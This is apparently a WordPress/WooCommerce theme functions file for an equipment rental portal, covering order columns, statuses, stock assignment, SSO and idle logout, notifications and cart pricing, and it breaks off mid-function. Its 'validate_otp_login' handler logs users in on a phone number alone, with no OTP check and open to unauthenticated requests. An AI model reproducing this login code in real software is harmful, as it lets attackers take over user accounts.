add_filter('manage_edit-shop_order_columns', 'add_rental_amount_column', 20);
function add_rental_amount_column($columns)
{
	$new_columns = [];

	foreach ($columns as $key => $column) {
		// Copy existing columns
		$new_columns[$key] = $column;

		// Add the Rental Amount column after Total
		if ('order_total' === $key) {
			$new_columns['rental_amount'] = __('Rental Amount', 'textdomain');
			$new_columns['sale_amount'] = __('Sale Amount', 'textdomain');

		}
	}

	return $new_columns;
}

add_action('manage_shop_order_posts_custom_column', 'populate_rental_amount_column', 20, 2);
function populate_rental_amount_column($column, $post_id)
{
	if ('rental_amount' === $column) {
		// Retrieve the rental amount from the custom field
		$rental_amount = get_post_meta($post_id, 'rental_amount', true);

		// Display the rental amount or a placeholder if it's empty
		echo !empty($rental_amount) ? wc_price($rental_amount) : __('N/A', 'textdomain');
	}
}

add_action('manage_shop_order_posts_custom_column', 'populate_order_amount_column', 99, 2);

function populate_order_amount_column($column, $post_id)
{
	if ('sale_amount' === $column) {

		// Retrieve the order total from the order meta
		$sale_amount = get_post_meta($post_id, 'sale_amount', true);
		$rental_amount = get_post_meta($post_id, 'rental_amount', true);

		if (!($sale_amount) && !($rental_amount)) {
			$order_total = get_post_meta($post_id, '_order_total', true);
			$sale_amount = $order_total;
		}
		// Output only our custom value, replacing the default
		echo ($sale_amount > 0) ? wc_price($sale_amount) : __('N/A', 'textdomain');
	}
}

// add_filter('manage_edit-shop_order_columns', 'replace_total_with_rental', 20);
// function replace_total_with_rental($columns) {
//     $columns['order_total'] = __('Sale Amount', 'textdomain');
//     return $columns;
// }

add_filter('manage_edit-shop_order_columns', 'remove_total_column_from_orders', 20);
function remove_total_column_from_orders($columns)
{
	if (isset($columns['order_total'])) {
		unset($columns['order_total']); // 'order_total' is the key for the Total column
	}
	return $columns;
}

// 19th December 2024

// Equipment Assign status -- Aseema
function register_equipement_assigned_order_status()
{
	register_post_status('wc-equipmentassigned', array(
		'label' => 'Equipment Assigned',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Equipment Assigned <span class="count">(%s)</span>', 'Equipment Assigned <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_equipement_assigned_order_status');


add_filter('wc_order_statuses', 'equipement_assigned_order_status');
function equipement_assigned_order_status($order_statuses)
{
	$order_statuses['wc-equipmentassigned'] = _x('Equipment Assigned', 'Order status', 'woocommerce');
	return $order_statuses;
}

//-- end 

// Equipment Assign ---- Assema 16/12/2024

add_filter('wc_order_is_editable', 'make_order_editable', 10, 2);
function make_order_editable($is_editable, $order)
{
	if ($order) {
		// Disable editing for orders with 'pending' status
		if ('pending' === $order->get_status()) {
			return false;
		}

		// Allow editing for orders with 'sdp' status
		if ('sdp' === $order->get_status()) {
			return true;
		}
	}

	return $is_editable; // Default behavior for other statuses
}
add_filter('gettext', 'customize_order_edit_message', 10, 3);
function customize_order_edit_message($translated_text, $text, $domain)
{

	if ('To edit this Rental Contract change the status back to "Pending payment"' === $translated_text) {
		$translated_text = 'To assign the equipment to this Rental Contract update the security deposit details.';
	}
	return $translated_text;
}


add_action('init', 'check_and_change_order_status', 10);
function check_and_change_order_status()
{

	if (isset($_GET['post']) && is_admin() && 'shop_order' === get_post_type($_GET['post'])) {
		$order_id = intval($_GET['post']); // Get the order ID from the URL


		update_status_if_items_and_sdp($order_id);
	}
}

// Bhaskara enhancement for reduce stock and update status--

// add_action('woocommerce_order_status_changed', 'update_status_if_items_and_sdp', 10, 1);
// function update_status_if_items_and_sdp($order_id) {
//     global $wpdb;

//     // Get the WooCommerce order object
//     $order = wc_get_order($order_id);

//     // Check if the order exists and the status is 'sdp'
//     if ($order && 'sdp' === $order->get_status()) {

//         // Query to check for any items in the order
//         $query = $wpdb->prepare(
//             "SELECT COUNT(*) 
//              FROM {$wpdb->prefix}woocommerce_order_items 
//              WHERE order_id = %d",
//             $order_id
//         );

//         // Fetch the count of items in the order
//         $item_count = $wpdb->get_var($query);
//         $stock_reduced = false;
//         // If there are items in the order
//         if ($item_count == 1) {
//             // Reduce stock for each product in the order
//             foreach ($order->get_items() as $item_id => $item) {
//                 $product_id = $item->get_product_id();
//                 $quantity = $item->get_quantity();
//                 $purpose_of_listing = $item->get_meta('purpose_of_listing', true);

//                 // Reduce stock
//                 $product = wc_get_product($product_id);
//                 if($purpose_of_listing !== 'Display'){
//                 if ($product && $product->managing_stock()) {
//                     $stock_quantity = $product->get_stock_quantity();
//                     $new_stock_quantity = $stock_quantity - $quantity;

//                     // Ensure stock doesn't go negative
//                     if ($new_stock_quantity >= 0) {
//                         $product->set_stock_quantity($new_stock_quantity);
//                         $product->save();
//                         update_post_meta($product_id, 'status', 'ONRENT');
//                         $stock_reduced = true;
//                         // Add stock change note to the order
//                         $order->add_order_note(sprintf(
//                             __('Stock reduced: %d units of "%s". New stock: %d.', 'woocommerce'),
//                             $quantity,
//                             $product->get_name(),
//                             $new_stock_quantity
//                         ));
//                     } else {
//                         $order->add_order_note(sprintf(
//                             __('Insufficient stock for "%s". Stock not adjusted.', 'woocommerce'),
//                             $product->get_name()
//                         ));
//                     }
//                 }
//               }
//             }
//           if($stock_reduced){
//             // Update the order status to 'equipmentassigned'
//             $order->update_status('wc-equipmentassigned', 'Equipment added to Contract.');
//           }
//         }
//     }    

//     if ($order && 'work_location' === $order->get_status()) {
//         $end_date = $order->get_meta('end_date', true);

//         if (empty($end_date)) {
//             return;
//         }

//         // Current date in the same format as stored end_date
//         $current_date = date('d-m-Y');

//         // Convert dates to DateTime objects for comparison
//         $end_datetime = DateTime::createFromFormat('d-m-Y', $end_date);
//         $current_datetime = DateTime::createFromFormat('d-m-Y', $current_date);

//         // Check if current date is past the end date
//         if ($current_datetime > $end_datetime) {
//             $order->update_status('wc-rpo', 'Equipment Rental Period is Over');
//         }
//     }
// }

// Main hook with higher priority (20 instead of 10)
add_action('woocommerce_order_status_changed', 'update_status_if_items_and_sdp', 20, 1);
function update_status_if_items_and_sdp($order_id)
{
	$order = wc_get_order($order_id);

	if (!$order) {
		error_log("Order $order_id not found");
		return;
	}

	$current_status = $order->get_status();
	error_log("Order $order_id status changed to: $current_status");

	// Handle 'sdp' status
	if ($current_status === 'sdp') {
		$items = $order->get_items();
		$item_count = count($items);
		error_log("SDP Order $order_id has $item_count items");

		if ($item_count === 1) {
			foreach ($items as $item_id => $item) {
				$product_id = $item->get_product_id();
				$quantity = $item->get_quantity();
				$purpose_of_listing = $item->get_meta('purpose_of_listing', true);
				$product = wc_get_product($product_id);

				$failed_conditions = [];

				if ($purpose_of_listing === 'Display') {
					$failed_conditions[] = 'Purpose is "Display"';
				}

				if (!$product) {
					$failed_conditions[] = 'Product not found';
				} else {
					$stock_status = $product->get_stock_status();

					if ($product->managing_stock()) {
						$stock_quantity = $product->get_stock_quantity();
						if ($stock_quantity - $quantity < 0) {
							$failed_conditions[] = "Not enough stock: $stock_quantity available, $quantity required";
						}
					} elseif ($stock_status !== 'instock') {
						$failed_conditions[] = 'Product stock status is not "In stock"';
					}
				}

				if (empty($failed_conditions)) {
					// Passed all checks – reduce stock if applicable
					if ($product->managing_stock()) {
						$new_stock_quantity = $product->get_stock_quantity() - $quantity;
						$product->set_stock_quantity($new_stock_quantity);
						$product->save();

						$order->add_order_note(sprintf(
							__('Stock reduced: %d units of "%s". New stock: %d.', 'woocommerce'),
							$quantity,
							$product->get_name(),
							$new_stock_quantity
						));
					}

					// Mark product as ONRENT
					update_post_meta($product_id, 'status', 'ONRENT');

					// Update order status
					$order->update_status('wc-equipmentassigned', 'Equipment added to Contract.');
					error_log("Order $order_id updated to wc-equipmentassigned");

				} else {
					// Add note with failed conditions
					$order->add_order_note('Equipment assignment failed due to: ' . implode(', ', $failed_conditions));
					error_log("Order $order_id not eligible: " . implode(', ', $failed_conditions));
				}
			}
		} else {
			$order->add_order_note('Equipment assignment skipped: order must contain exactly 1 item');
			error_log("Order $order_id skipped: contains $item_count items");
		}
	}

	// Handle 'work_location' status
	if ($current_status === 'work_location') {
		$end_date = $order->get_meta('end_date', true);

		if (empty($end_date)) {
			error_log("Order $order_id: No end_date found");
			return;
		}

		$current_date = date('d-m-Y');
		$end_datetime = DateTime::createFromFormat('d-m-Y', $end_date);
		$current_datetime = DateTime::createFromFormat('d-m-Y', $current_date);

		if ($end_datetime === false || $current_datetime === false) {
			error_log("Order $order_id: Date format error - end_date: $end_date, current_date: $current_date");
			return;
		}

		if ($current_datetime > $end_datetime) {
			$order->update_status('wc-rpo', 'Equipment Rental Period is Over');
			error_log("Order $order_id updated to wc-rpo");
		}
	}
}


// SSO - Login Page hide enquiry 
function completely_remove_enquiry_popup()
{
	if (is_page('sso-login')) {
?>
<style>
#floating-button,
#enquiry-float-btn {
    display: none !important;
    visibility: hidden !important;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', function() {
    // Disable the toggle function if it exists
    if (window.togglePopup) {
        window.togglePopup = function() {};
    }

    // Remove the floating button completely
    var floatingButton = document.getElementById('floating-button');
    if (floatingButton) {
        floatingButton.remove();
    }
});
</script>
<?php
	}
}
add_action('wp_footer', 'completely_remove_enquiry_popup');

// SSO Login/Logout redirection
function redirect_gmmcoindia_users_on_logout()
{
	// Check if user is logged in
	if (is_user_logged_in()) {
		// Get current user
		$current_user = wp_get_current_user();

		// Check if email ends with "@gmmcoindia.com"
		if (strpos($current_user->user_email, '@gmmcoindia.com') !== false) {
			// Hook into logout action
			add_action('wp_logout', function () {
				// Redirect to SSO login page
				wp_redirect(home_url('/sso-login/'));
				exit();
			});
		}
	}
}
add_action('init', 'redirect_gmmcoindia_users_on_logout');

// // Alternative approach with more flexibility
// function advanced_domain_logout_redirect() {
//     // List of allowed email domains
//     $allowed_domains = ['@gmmcoindia.com'];

//     // Check if user is logged in
//     if (is_user_logged_in()) {
//         $current_user = wp_get_current_user();

//         // Check if user's email matches any of the domains
//         foreach ($allowed_domains as $domain) {
//             if (strpos($current_user->user_email, $domain) !== false) {
//                 add_filter('logout_url', function($logout_url) {
//                     // Modify logout URL to redirect to SSO login
//                     return add_query_arg('redirect_to', home_url('/sso-login/'), $logout_url);
//                 });

//                 add_action('wp_logout', function() {
//                     wp_redirect(home_url('/sso-login/'));
//                     exit();
//                 });

//                 break;
//             }
//         }
//     }
// }
// add_action('init', 'advanced_domain_logout_redirect');

// ideal logout --bhaskara--26/12/2024

add_action('admin_init', 'redirect_idle_admin_users');

// Check if current user has specific email domain
function has_specific_email_domain()
{
	if (is_user_logged_in()) {
		$user = wp_get_current_user();
		return strpos($user->user_email, '@gmmcoindia.com') !== false;
	}
	return false;
}

// Disable the WordPress auth check only for specific users
add_action('admin_enqueue_scripts', function () {
	if (has_specific_email_domain()) {
		wp_dequeue_script('wp-auth-check');
		wp_deregister_script('wp-auth-check');

		// Disable heartbeat only for specific users
		wp_dequeue_script('heartbeat');
		wp_deregister_script('heartbeat');
	}
}, 99);

function redirect_idle_admin_users()
{
	if (is_user_logged_in() && current_user_can('manage_options')) {
		$user = wp_get_current_user();

		if (strpos($user->user_email, '@gmmcoindia.com') !== false) {
			$idle_time = 15 * 60; // 15 minutes in seconds

			add_action('admin_enqueue_scripts', function () use ($idle_time) {
				wp_register_script('idle-logout-script', '', [], null, true);
				wp_enqueue_script('idle-logout-script');

				// Create a nonce for security
				$ajax_nonce = wp_create_nonce('idle_logout_nonce');

				wp_add_inline_script(
					'idle-logout-script',
					"
                    (function() {
                        let idleTime = 0;
                        const idleLimit = {$idle_time};
                        let idleInterval;

                        function resetTimer() {
                            idleTime = 0;
                        }

                        function handleLogout() {
                            clearInterval(idleInterval);

                            // Send AJAX request to handle logout
                            jQuery.ajax({
                                url: '" . admin_url('admin-ajax.php') . "',
                                type: 'POST',
                                data: {
                                    action: 'handle_idle_logout',
                                    nonce: '" . $ajax_nonce . "'
                                },
                                success: function(response) {
                                    if(response.success) {
                                        window.location.href = '" . esc_js(home_url('/sso-login/')) . "';
                                    }
                                }
                            });
                        }

                        function startTimer() {
                            if (idleInterval) {
                                clearInterval(idleInterval);
                            }

                            idleInterval = setInterval(function() {
                                idleTime++;
                                if (idleTime >= idleLimit) {
                                    handleLogout();
                                }
                            }, 1000);
                        }

                        // Reset timer on user activity
                        const events = ['mousemove', 'keypress', 'click', 'scroll', 'touchstart'];
                        events.forEach(function(event) {
                            document.addEventListener(event, resetTimer);
                        });

                        // Initial timer start
                        startTimer();

                        // Reset timer when switching tabs/windows
                        document.addEventListener('visibilitychange', function() {
                            if (!document.hidden) {
                                resetTimer();
                            }
                        });
                    })();
                    "
				);
			});

			// Add AJAX handler for logout
			add_action('wp_ajax_handle_idle_logout', function () {
				check_ajax_referer('idle_logout_nonce', 'nonce');

				// Clear all sessions for the current user
				$user_id = get_current_user_id();
				wp_destroy_all_sessions($user_id);

				// Clear authentication cookies
				wp_clear_auth_cookie();

				wp_send_json_success(['message' => 'Logged out successfully']);
			});
		}
	}
}

// Modify logout redirect URL only for specific users
add_filter('logout_redirect', function ($redirect_to, $requested_redirect_to, $user) {
	if ($user && is_object($user) && strpos($user->user_email, '@gmmcoindia.com') !== false) {
		return home_url('/sso-login/');
	}
	return $redirect_to;
}, 10, 3);

// Reload to clear error msg in myaccount page (Shejad)
function custom_redirect_login_error()
{
	// Check if the current page is the "My Account" page or the page where the login error is displayed
    if ( ( function_exists('is_account_page') && is_account_page() ) || is_page('login') ) {
?>
<script type="text/javascript">
window.onload = function() {
    var url = new URL(window.location.href);
    url.searchParams.delete('login_error');
    window.history.replaceState({}, document.title, url.toString());
};
</script>
<?php
	}
}
add_action('wp_footer', 'custom_redirect_login_error');

add_action('admin_enqueue_scripts', 'css_for_text_in_contract_page');

function css_for_text_in_contract_page($hook)
{

	if (isset($_GET['post_type']) && $_GET['post_type'] === 'shop_order') {
		echo '<style>
           th.sortable a span {
                color: #2c3338 !important; 
            }
        </style>';
	}
}

// create post type for notification

function create_notifications_post_type()
{
	$labels = array(
		'name' => 'Notifications',
		'singular_name' => 'Notification',
		'menu_name' => 'Notifications',
		'name_admin_bar' => 'Notification',
		'add_new' => 'Add New',
		'add_new_item' => 'Add New Notification',
		'new_item' => 'New Notification',
		'edit_item' => 'Edit Notification',
		'view_item' => 'View Notification',
		'all_items' => 'All Notifications',
		'search_items' => 'Search Notification',
		'parent_item_colon' => 'Parent Notifications:',
		'not_found' => 'No Notifications Found',
		'not_found_in_trash' => 'No Notifications Found in Trash'
	);
	$args = array(
		'labels' => $labels,
		'public' => false,
		'public_queryable' => true,
		'show_ui' => true,
		'show_in_menu' => true,
		'query_var' => true,
		'rewrite' => array('slug' => 'notifications'),
		'capability_type' => 'post',
		'has_archive' => true,
		'hierarchial' => false,
		'menu_position' => 1,
		'menu_icon' => 'dashicons-bell',
		'supports' => array('title', 'editor', 'custom-fields')
	);
	register_post_type('notifications', array(
		'labels' => array(
			'name' => 'Notifications',
			'singular_name' => 'Notification',
		),
		'public' => true,
		'show_ui' => true,
		'show_in_menu' => true,
		'capability_type' => 'post',
		'map_meta_cap' => true,
		'supports' => array('title', 'editor'), // Remove 'custom-fields' if needed
		'show_in_admin_bar' => false, // Hide from the admin bar
		'show_in_nav_menus' => false,
		'menu_position' => 5,
		'menu_icon' => 'dashicons-bell',
		'capabilities' => array(
			'create_posts' => false, // Change this from 'do_not_allow' to `false`
		),
	));

}
add_action('init', 'create_notifications_post_type');

function custom_notifications_post_link($post_link, $post)
{
	if ($post->post_type === 'notifications') {
		return admin_url('post.php?post=' . $post->ID . '&action=edit');
	}
	return $post_link;
}
add_filter('post_type_link', 'custom_notifications_post_link', 10, 2);



// Step 1: Add a custom column to display the notification content in the listing page.
function add_notifications_columns($columns)
{
	$columns['notification_message'] = 'Notification Message';
	return $columns;
}
add_filter('manage_notifications_posts_columns', 'add_notifications_columns');

// Step 2: Render the notification message with HTML content in the custom column.
function render_notifications_columns($column, $post_id)
{
	if ($column == 'notification_message') {
		// Get the post content (notification message)
		$message = get_post_field('post_content', $post_id);

		// Make sure HTML is allowed and render it safely
		// wp_kses_post allows basic HTML tags (like <a>, <b>, <i>, etc.)
		echo wp_kses_post($message);  // This will render the HTML content safely
	}
}
add_action('manage_notifications_posts_custom_column', 'render_notifications_columns', 10, 2);

// Step 3: Prevent content from displaying below title in the admin post list
function remove_content_from_admin($content)
{
	// Check if we're on the post listing page for the 'notifications' post type
	if (is_admin() && get_post_type() == 'notifications') {
		return '';  // Return empty content so it won't show below the title
	}
	return $content; // Return the content normally for other pages
}
add_filter('the_content', 'remove_content_from_admin');

// Step 4: Make sure HTML content is rendered in the frontend
function render_notification_content($content)
{
	if (is_singular('notifications')) {
		// Allow HTML content in the notification (post content)
		return wp_kses_post($content);
	}
	return $content;
}
add_filter('the_content', 'render_notification_content');

// Step 5: Optional - Style the hyperlinks in the admin notification listing
function custom_admin_styles()
{
	echo '<style>
        .column-notification_message a {
            color: blue;
            text-decoration: underline;
        }
    </style>';
}
add_action('admin_head', 'custom_admin_styles');



// create notifications programatically

function create_notification($title, $message, $extra_info = array())
{
	// Ensure the custom post type 'notifications' exists
	if (!post_type_exists('notifications')) {
		return new WP_Error('invalid_post_type', 'The notification post type does not exist');
	}

	// Allow HTML in the message (post_content)
	// wp_kses_post allows basic HTML tags like <a>, <b>, <i>, etc.
	$message = wp_kses_post($message);

	// Prepare notification data
	$notifications_data = array(
		'post_title' => wp_strip_all_tags($title),  // Sanitize the title to remove any unwanted tags
		'post_content' => $message,                    // The content will contain HTML (e.g., the link)
		'post_status' => 'publish',
		'post_type' => 'notifications',
	);

	// Merge any extra info (meta data, custom fields, etc.)
	if (!empty($extra_info)) {
		$notifications_data = array_merge($notifications_data, $extra_info);
	}

	// Insert the notification post into the database
	$post_id = wp_insert_post($notifications_data);

	// Check for errors
	if (is_wp_error($post_id)) {
		return $post_id;
	}

	return $post_id;
}


function hide_add_new_notifications_menu()
{
	remove_submenu_page('edit.php?post_type=notifications', 'post-new.php?post_type=notifications');
}

add_action('admin_menu', 'hide_add_new_notifications_menu', 999);

function remove_edit_quick_edit_actions($actions, $post)
{
	// Check if the post type is 'notifications'
	if ($post->post_type === 'notifications') {
		// Remove 'edit' action
		unset($actions['edit']);
		// Remove 'quick edit' action
		unset($actions['inline hide-if-no-js']);
		// Remove 'trash' action
		unset($actions['trash']);
	}
	return $actions;
}

// Hook into the post row actions filter for both posts and pages
add_filter('post_row_actions', 'remove_edit_quick_edit_actions', 10, 2);
add_filter('page_row_actions', 'remove_edit_quick_edit_actions', 10, 2);

function remove_bulk_actions($bulk_actions)
{
	// Check if we are on the edit screen for the 'notifications' post type
	$screen = get_current_screen();
	if ($screen->post_type === 'notifications') {
		// Return an empty array to remove all bulk actions
		return array();
	}
	return $bulk_actions;
}

// Hook into the bulk actions filter for the specific post type
add_filter('bulk_actions-edit-notifications', 'remove_bulk_actions');

// In app  notification on user login
function notify_on_user_login($user_login, $user)
{
	if (!in_array('administrator', (array) $user->roles)) {
		create_notification(
			'User Logged In',
			'User "' . $user_login . '" has logged into RMS Portal.',
			array(
				'meta_input' => array(
					'user_id' => $user->ID,
					'action' => 'login_in',
				)
			)
		);
	}
}

add_action('wp_login', 'notify_on_user_login', 10, 2);

//adding padding in contract list page--Bhaskara 20/01/2025
// function add_custom_order_list_styles() {
//     global $pagenow;
//     if ( $pagenow == 'edit.php' && isset($_GET['post_type']) && $_GET['post_type'] == 'shop_order' ) {
//         echo '<style>
//             .order_number .order-preview {
//                 margin-right: 15px !important;
//                 padding-right: 15px !important;
//                 border-right: 1px solid #e5e5e5;
//             }
//             .order_number .order-view {
//                 margin-left: 15px !important;
//             }
//         </style>';
//     }
// }
// add_action('admin_head', 'add_custom_order_list_styles');


// change date format of date column in product listing page
add_filter('post_date_column_time', 'custom_date_format_with_time_in_products', 10, 2);

function custom_date_format_with_time_in_products($h_time, $post)
{
	if (is_admin() && get_post_type($post) === 'product') {

		$custom_date_format = 'd-m-Y \a\t H:i';
		return date_i18n($custom_date_format, strtotime($post->post_date));
	}
	return $h_time;
}


// All roles except customer role will not login through login by mobile using customer portal
function restrict_validate_otp_login()
{
	if (isset($_POST['action']) && $_POST['action'] === 'validate_otp_login') {

		$user_phone = isset($_POST['user_phone']) ? sanitize_text_field($_POST['user_phone']) : '';

		if (!$user_phone) {
			wp_send_json_error(__('Phone number is required.', 'textdomain'));
			wp_die();
		}

		$user_query = new WP_User_Query([
			'meta_key' => 'user_phone',
			'meta_value' => $user_phone,
			'number' => 1
		]);

		$users = $user_query->get_results();

		if (!empty($users)) {
			$user = $users[0];
			$restricted_roles = ['central_administrator', 'rue_manager', 'sales_representative', 'operation_representative', 'commercial_representative', 'operator'];

			// Check if the user has a restricted role
			if (array_intersect($restricted_roles, (array) $user->roles)) {
				wp_send_json_error(__('You are not allowed to login through the customer portal.'));
				wp_die();
			}

			// Log in the user if they are not restricted
			wp_set_current_user($user->ID);
			wp_set_auth_cookie($user->ID);

			wp_send_json_success(__('Login successful.'));
			wp_die();
		} else {
			wp_send_json_error(__('User not found.'));
			wp_die();
		}
	}
}
add_action('wp_ajax_nopriv_validate_otp_login', 'restrict_validate_otp_login');
add_action('wp_ajax_validate_otp_login', 'restrict_validate_otp_login');

// JavaScript to handle the button click and make an AJAX request
add_action('wp_footer', function () {
?>
<script>
jQuery(document).ready(function($) {
    $('#validateotpbtn').on('click', function(e) {
        e.preventDefault();

        var userPhone = $('#user_phone_otp').val();

        $.ajax({
            url: '<?php echo admin_url('admin-ajax.php'); ?>',
            method: 'POST',
            data: {
                action: 'validate_otp_login',
                user_phone: userPhone
            },
            success: function(response) { 
				if (response.success) { 
// 					alert(response.data); 

					// Get redirect URL from hidden field
					var redirectUrl = $('input[name="redirect"]').val();
					if (redirectUrl) {
						window.location.href = redirectUrl; 
					} else {
						window.location.reload(); // fallback
					}
				} else { 
// 					alert(response.data); 
				} 
			},
            error: function() {
                alert('<?php echo esc_js(__('An error occurred. Please try again.')); ?>');
            }
        });
    });
});
</script>
<?php
});

add_action('admin_head', 'remove_payment_page_text_from_order_edit');

function remove_payment_page_text_from_order_edit()
{
	global $pagenow;

	// Check if we're on the WooCommerce order edit page
	if ('post.php' === $pagenow && isset($_GET['post']) && 'shop_order' === get_post_type($_GET['post'])) {

		echo '<style>
            #order_data .order_data_column .wc-order-status label a { display: none !important; }
        </style>';
	}
}

// removal of toolbar for all roles
if (!current_user_can('administrator') && !is_admin()) {
	add_filter('show_admin_bar', '__return_false');
}

add_filter('manage_shop_order_posts_custom_column', function ($column, $post_id) {
	if ($column === 'order_date') {
		$order = wc_get_order($post_id);
		if ($order) {
			echo date("d-m-Y", strtotime($order->get_date_created()));
		}
	}
}, 10, 2);
add_action('admin_head', function () {
	echo '<style> .column-order_date time { display: none !important; } </style>';
});

// Hide Application Password Section -- Bhaskara 05/02/2025

function hide_application_password_section()
{
	$screen = get_current_screen();
	if ($screen && in_array($screen->id, ['profile', 'user-edit'], true)) {

?>
<style type="text/css">
/* Hide application passwords section with high specificity */
#application-passwords-section,
.application-passwords-section {
    display: none !important;
    visibility: hidden !important;
    height: 0 !important;
    overflow: hidden !important;
    padding: 0 !important;
    margin: 0 !important;
}
</style>
<script type="text/javascript">
jQuery(document).ready(function($) {
    function hideAppPass() {
        // Remove the section completely from DOM
        $('#application-passwords-section').remove();
        $('.application-passwords-section').remove();
    }

    // Run on page load
    hideAppPass();

    // Monitor DOM changes for dynamically added content
    const observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            if (mutation.addedNodes.length) {
                hideAppPass();
            }
        });
    });

    // Start observing the document body for DOM changes
    observer.observe(document.body, {
        childList: true,
        subtree: true
    });
});
</script>
<?php
	}
}
add_action('admin_head', 'hide_application_password_section');

//--- end-- 

function add_notification_endpoint()
{
	add_rewrite_endpoint('notification', EP_ROOT | EP_PAGES);
}
add_action('init', 'add_notification_endpoint');

// 2. Add "notification" to WooCommerce query vars
function th_add_notification_query_vars($vars)
{
	$vars[] = 'notification';
	return $vars;
}
add_filter('query_vars', 'th_add_notification_query_vars', 0);

// 3. Add "Notification" to the My Account menu
function add_notification_menu_item_my_account($items)
{
	$items['notification'] = __('Notification', 'woocommerce');
	 if ( isset( $items['wishlist'] ) ) {
        unset( $items['wishlist'] );
    }
	return $items;
}
add_filter('woocommerce_account_menu_items', 'add_notification_menu_item_my_account');

// 4. Display content on the "notification" page
function custom_notification_content()
{

}
add_action('woocommerce_account_notification_endpoint', 'custom_notification_content');

// 5. Flush rewrite rules when activating the theme
function custom_flush_rewrite_rules()
{
	add_notification_endpoint();
	flush_rewrite_rules();
}
register_activation_hook(__FILE__, 'custom_flush_rewrite_rules');

// Customer Portal - Password Reset Allowed to Customers Only
function restrict_selected_roles_forgot_password($allow, $user_id)
{
	$user = get_userdata($user_id);
	$restricted_roles = array('central_administrator', 'rue_manager', 'commercial_representative', 'operator', 'operation_representative', 'sales_representative');

	if (array_intersect($restricted_roles, (array) $user->roles)) {
		return false;
	}
	return $allow;
}
add_filter('allow_password_reset', 'restrict_selected_roles_forgot_password', 10, 2);

// user serch working based on all user not pagination wise (Shejad)
function modify_user_search_query($query)
{
	if (is_admin() && isset($_GET['s']) && !empty($_GET['s'])) {
		// If searching, show all users instead of paginating
		$query->query_vars['number'] = 999999; // A very high number to fetch all users
	}
}
add_action('pre_get_users', 'modify_user_search_query');

// hide Order action Drop down

add_action('admin_head', 'hide_specific_order_actions');

function hide_specific_order_actions()
{
	// Only run on order edit page
	$screen = get_current_screen();
	if (!$screen || $screen->id !== 'shop_order') {
		return;
	}
?>
<style type="text/css">
/* Hide the select dropdown */
.order_actions li#actions select {
    display: none !important;
}

/* Hide the action button */
.order_actions li#actions .button {
    display: none !important;
}

/* Optional: Hide the entire actions li if it looks empty */
.order_actions li#actions {
    display: none !important;
}
</style>
<?php
}
//--end--

//Cart Related Code--Bhaskara--07/03/2025
function custom_add_to_cart()
{
    $product_id = intval($_POST['product_id']);
    $start_date = sanitize_text_field($_POST['start_date']);
    $end_date = sanitize_text_field($_POST['end_date']);
    // $shift = intval($_POST['shift']);
	$shift = isset($_POST['shift']) && $_POST['shift'] !== '' ? intval($_POST['shift']) : 1;
    $location = sanitize_text_field($_POST['location']);
    // $application = sanitize_text_field($_POST['application']);
    $application = isset($_POST['application']) ? sanitize_text_field($_POST['application']) : null;

    $product = wc_get_product($product_id);
    //$base_price = $product->get_price();
	$monthly_price = floatval($product->get_price());
    $start_date_obj = new DateTime($start_date);
    $end_date_obj = new DateTime($end_date);
    $days = $start_date_obj->diff($end_date_obj)->days + 1; // Include end date
    $hours_per_day = 8;
    $total_hours = $days * $shift * $hours_per_day;
    //$calculated_price = ($total_hours / 8) * $base_price;
    //$day_price = $calculated_price / $days;
	
	if ($days <= 0) {
		$days = 1;
	}
	$daily_price = $monthly_price / 30;
	$calculated_price = $daily_price * $days;
	
     $rfq_data = [
        'start_date' => date('d-m-Y', strtotime($start_date)),
        'end_date' => date('d-m-Y', strtotime($end_date)),
        'location' => $location,
        'base_price' => $monthly_price,
        'calculated_price' => $calculated_price
    ];


   if (!empty($_POST['shift'])) {
    $rfq_data['shift'] = intval($_POST['shift']); // only add if provided
	}

    if ($application !== null) {
        $rfq_data['application'] = $application;
    }

    $cart_item_data = ['rfq_data' => $rfq_data];
    
    // $cart_item_data = [
    //     'rfq_data' => [
    //         'start_date' => date('d-m-Y', strtotime($start_date)),
    //         'end_date' => date('d-m-Y', strtotime($end_date)),
    //         'shift' => $shift,
    //         'location' => $location,
    //         'application' => $application,
    //         'base_price' => $base_price,
    //         'calculated_price' => $calculated_price
    //     ]
    // ];

    $cart_item_key = WC()->cart->add_to_cart($product_id, 1, 0, [], $cart_item_data);

    if ($cart_item_key) {
        wp_send_json_success();
    } else {
        wp_send_json_error();
    }
}
add_action('wp_ajax_custom_add_to_cart', 'custom_add_to_cart');
add_action('wp_ajax_nopriv_custom_add_to_cart', 'custom_add_to_cart');


// Custom Indian currency formatting
function format_inr($number) {
    $decimal = '';
    // Split integer and decimal
    if (strpos($number, '.') !== false) {
        list($number, $decimal) = explode('.', $number, 2);
    }

    $last3 = substr($number, -3);
    $rest  = substr($number, 0, -3);
    if ($rest != '') {
        $last3 = ',' . $last3;
    }
    $rest = preg_replace("/\B(?=(\d{2})+(?!\d))/", ",", $rest);

    $formatted = $rest . $last3;
    if ($decimal != '') {
        $formatted .= '.' . substr($decimal, 0, 2); // always 2 decimals
    } else {
        $formatted .= '.00';
    }

    return $formatted;
}

// column 
add_filter('woocommerce_get_item_data', 'add_custom_cart_item_details', 10, 2);
function add_custom_cart_item_details($item_data, $cart_item)
{
	if (!empty($cart_item['rfq_data'])) {
		$rfq_data = $cart_item['rfq_data'];

		if (!empty($rfq_data['start_date'])) {
			$item_data[] = [
				'key'   => 'Start Date',
				'value' => esc_html($rfq_data['start_date']),
			];
		}

		if (!empty($rfq_data['end_date'])) {
			$item_data[] = [
				'key'   => 'End Date',
				'value' => esc_html($rfq_data['end_date']),
			];
		}

		if (!empty($rfq_data['shift'])) {
			$item_data[] = [
				'key'   => 'Shifts',
				'value' => esc_html($rfq_data['shift']),
			];
		}

		if (!empty($rfq_data['location'])) {
			$item_data[] = [
				'key'   => 'Location',
				'value' => esc_html($rfq_data['location']),
			];
		}

		if (!empty($rfq_data['application'])) {
			$item_data[] = [
				'key'   => 'Application',
				'value' => esc_html($rfq_data['application']),
			];
		}

		if (isset($rfq_data['base_price'])) {
			$item_data[] = [
				'key'   => 'Base Price for 30 days',
				'value' => format_indian_price($rfq_data['base_price']),
			];
		}

		if (isset($rfq_data['calculated_price'])) {
			$calculated_price = (float) $rfq_data['calculated_price']; // force float
			$formatted_price  = format_inr(number_format($calculated_price, 2, '.', ''));

			$item_data[] = [
